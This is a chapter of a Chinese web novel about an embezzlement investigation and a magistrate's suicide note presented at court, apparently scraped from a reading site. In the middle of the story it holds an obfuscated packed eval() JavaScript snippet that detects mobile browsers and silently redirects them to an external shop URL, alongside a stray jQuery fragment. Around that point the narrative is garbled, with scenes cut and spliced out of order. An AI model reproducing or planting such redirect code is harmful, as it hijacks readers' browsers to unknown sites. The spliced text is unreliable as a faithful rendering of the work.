117. 遗书

作品:《金华风月[女帝]

    江宁道司马方恒勤被毒杀宅中,当晚奉茶小侍自首江宁道府衙,献账目来往书信等物。


    至此,此贪墨案证据完备了。


    “也就是说,”苏如玉整理起几份供状,一沓书纸摞在一处,发出清脆的响声,“李明珠下江宁主持接青贷试点事宜,与谢氏钱庄勾结,借此贪墨敛财,


    “将官府特拨用作接青贷的赋银贷与大户,令其单放印子钱,利钱官绅平分,由方恒勤主使,夏怀瑾将所得贪墨借利钱形式记予李明珠权作贿金,


    “同时谢家借皇商名号大肆压价垄断,逼走零散商户货娘,收拢江宁道商铺。”


    很顺畅。


    可以说是天衣无缝。


    田兴文一拍桌子站起来:“下官不信!”


    “田寺丞莫慌,苏某不过是在说如今景况。”苏如玉放了供状,倒了两杯水,分给田兴文一杯,“这下,谢家这个钱庄是逃不过的,我们先去查抄了这个钱庄,一部分贪墨所得便可下赈农人,平息民愤。”


    “夏县令呢?苏按察没听平江县农人说的么,夏县令可是按田产多寡收成好坏划拨接青贷的,一分没有动过!难道就此背上污名入土么!”


    苏如玉抿着嘴,缓缓坐下来。


    “不会的。”她轻声道,“贪墨还要栽赃灭口的,借权势压人的,一心争权夺利不顾生民的,全都该死。”


    “走吧,田寺丞,我们该往州府去了。”


    谢家钱庄被抄,所有贪墨所得及利钱通通罚没充入官府。


    皇帝翻起苏如玉先行递来京里的呈文,一不留神洒了些糕点屑在纸上,只好拎起一角,往瓷碟里抖了抖。


    法兰切斯卡凑过来顺手拿了块奶糕,往纸上瞟了一眼大惊失色:“这真是按律来的么?”


    “田兴文顶格判的,她是大理寺丞,沈子熹的学生,律法一道上是没得挑的。”皇帝囫囵咽了糕饼,饮了一口蜜水道,“苏如玉还上奏要求重查田户呢。这事麻烦,我让她俩先回京复命了。”


    “但这下李明珠怎么办?他的案子没结清啊。”


    “没有。”皇帝轻声重复道,“没有。”


    “你去开个窗子——方恒勤死得蹊跷,夏怀瑾自缢又闹了民愤,此事已教架起来了,我插不得手。”


    旧党根基便在于其田地与佃户,以其财力大办书院私学,领一方士子;新党么……有些人是想掀了这些大族的老底,有些人是想为她的生民,可也少不了投机之辈。


    新党之行无论本意如何到底动了旧党立身之本,而今夏、方二人之死已成了风眼,裹挟人互相攻讦,


    清晏本在一旁老老实实温书,这下也忍不住抬头了:“陛下……李尚书会好吗……”


    “……”


    皇帝难得沉默了。


    “……有些事,我也不能预见。”她轻声道,“毕竟谋事在人,成事在天。”


    李明珠会好的,即便今次不得不罚,往后也总会好的。


    王琅仍旧站在门外,一身春日里的缎袍,缀了白鹇的苏绣补子——近年宫中尚行节俭,上行下效,外头许多男眷为显手巧爱亲手在衣裳上刺绣,而今补子也流行针绣,成了显示内眷贤德的标杆。


    话虽如此,这一对补子自然不可能是王琅自己绣的。


    “王按察何必在此费时费力。”


    李明珠没有看他,只侧身面壁。


    “她到底看上你哪一点。风雅八事一样也不会,德言容工一样也不占,年老色衰无半点情趣,我听说你还拒绝她!她到底看上你哪一点!”王琅咬牙道,“多少人弹劾你科举舞弊、贪墨徇私,条条皆当斩之罪,她偏偏一拖再拖要待亲鞫。亲鞫,不就是要保你么!”


    李明珠阖上眼皮,没有作声。


    夏虫不可语冰。此人满心满眼只有圣宠二字,在朝为官,眼界却仍囿于后宅。他既不明白民生大计,也不懂得惜才惜能,他只是在无望地追求圣宠,一味以私情作他衡量的准绳。


    不值一哂。


    “李端仪,而今朝中早分作了两派,要斩你的,要保你的,你的性命已成了攻取之筹码了。她很快就保不了你了。”王琅低声道,“她是皇帝,定要维持堂上平衡的,待两派之争无法平息时,便只有你死才能平息风波。她很快就保不了你了。”


    “王按察,”李明珠忽而出声道,“示瑜才高品正,是难得的贤才良材,下官只想知道,王按察何故要逼死示瑜?”


    “因为此案需一人替罪。”苏如玉恨恨道,“咱们查到接青贷是迟早之事,只要有一人顶罪而死,接青贷之事自然线索断裂,难以下探,方司马此案再发,案情便再无可辩驳。”


    田兴文忙放了马车车帘道:“可陛下如今召你我二人回京,莫不是要叫停之意?”


    她还不想就此罢休。


    苏如玉轻轻摇头:“听闻朝中新旧两党已不可开交了,此案怕是牵连甚大。依在下看……”


    马车猛然一沉。


    “吁——”


    “怎么了?”车内两人同时撩开车帘。


    “大人,咱们的马车被围了……”赶车妇惊慌道,“有人拦车……”


    田兴文立时便要起身:“我下去看看。”


    “田寺丞,莫急。”苏如玉拦住她,自从车内探出身子踩在车辕上,“敢问众位何故拦车?”


    要说劫财这车上可半点金银细软也无,要说刺杀也不必如此大费周章。苏如玉往车外四下环顾一周,发觉拦车之人众多,竟都跪在路旁。


    皆为平民。


    她一手扶着赶车妇肩膀,好不容易踩稳了,想寻件东西为凭,才发现自己两手空空,只得高举右手道:“在下江宁道按察使苏如玉,敢问拦车是为何故?”


    王琅愣了愣,一时住了口。他往门内瞧去,李明珠仍端坐面壁,发髻散乱,几缕鬓发自额角垂落,盖住肩头先前受刑的赤痕。


    他已狼狈至此,却还在想旁人?


    “夏怀瑾?她是自缢,与我何干。李端仪,你是爱惜她年轻么?”


    李明珠再次闭上了眼睛。


    夏虫不可语冰。示瑜何等贤才,竟为一后宅怨夫之狭隘枉丢了性命,而此人满心满眼只有“圣宠”二字,他甚至不理解示瑜为何自缢,只凭浅薄计策、诬陷传谣便扼死贤能。


    实在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624218|187853||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    荒谬。


    苏如玉立直了身子。


    “苏青天!”人群里不知谁喊了一声,跟着便是此起彼伏的喊声。


    这不过是个诨号罢了,她以劾倒数十县官而在御史台闻名,圣人因此留意,才有今日巡查此要案之用。


    她在车辕上好不容易站稳了,才接着道:“众位可是有事寻苏某,但请说吧。”


    这时候才有一士子打扮人勉力自人堆里挤出来,扒上马车,拼命伸手递来一纸诉状:“晚辈要替夏县令喊冤!苏青天,晚辈要替夏示瑜喊冤!”


    “你有何冤要喊呢?”


    皇帝微微垂着眼帘,看向金殿正中的士子。


    瞧着还没考中,只一身青袍皂巾。


    “臣……臣钱文瀚,出身江宁道,江州府平江县,与夏县令有故交……”


    此话一出,满堂哗然。


    苏如玉同田兴文昨夜里匆忙进城了,趁夜竟一人未见,今日便带此人当堂大敲登闻鼓奏事,头里便是这些日子朝堂上吵翻的夏、方二人之死。


    皇帝给身侧内侍飞去一眼。


    “肃静!”


    皇帝这才不疾不徐道:“既有些故交,想必你是为夏示瑜自缢之事而来,璇玑,可是她之死有何蹊跷?”


    “回陛下,”苏如玉往前一步,高举笏板道,“臣与田寺丞带仵作查看,夏县令实非他杀,确为自缢,只是去前在堂中留下八字遗书,臣以为夏县令非为畏罪自裁,实乃以死明志。”


    “哪八字?”


    苏如玉还没待回话,却是田兴文往前一步跪下,高声道:“清白得存,此身何惜!陛下,夏示瑜是以死明志啊!”


    皇帝不动声色,眼珠子缓缓转了半轮,看向苏如玉。


    她当然记得夏示瑜。许留仙对她的卷子赞不绝口,她与端仪拿来瞧了,也确是无可指摘。后头她令李端仪于传胪宴后见一见亲手挑出来的青年才俊,端仪回报也着重提了这位夏榜眼,这才商定了派她往平江县历练,也可观地方宦海,以便来日调回京城。


    他看重这位门生。每日里来来往往那么些人去瞧他,想必他已晓得此事了。


    皇帝视线缓缓落在那士子身上:“钱处士,你要诉者为何呢?”


    钱文瀚往前膝行几步,额头在金殿地砖上磕出一声响,震得皇帝后脑也跟着痛起来:“臣有夏县令手书遗书一分,求陛下阅览。”


    长宁立马下去接了遗书来。皇帝看了妖精一眼,那金毛青眼奴便溜出殿外去了。


    遗书不过寥寥两页,写了些受李端仪赏识得蒙李端仪提携之恩,不想卷入舞弊与贪墨两案成了构陷老师之枪,自觉对恩师不住,愿以一死证清白云云,后一页却是写着对家中诸后事安排,详尽得当,对未过门的夫婿也有遗赠。


    皇帝放下遗书。


    “陛下,臣另有两物呈上。”苏如玉见皇帝阅毕,忙高声道,“臣此行归京,车马行过平江县,县民送来此万民书为夏示瑜请愿。”


    “你才说有两物,还有一物呢?”


    苏如玉这才捧出一沓簿子:“另一物正是臣受命查谢氏财帛,进而牵出的接青贷账目!”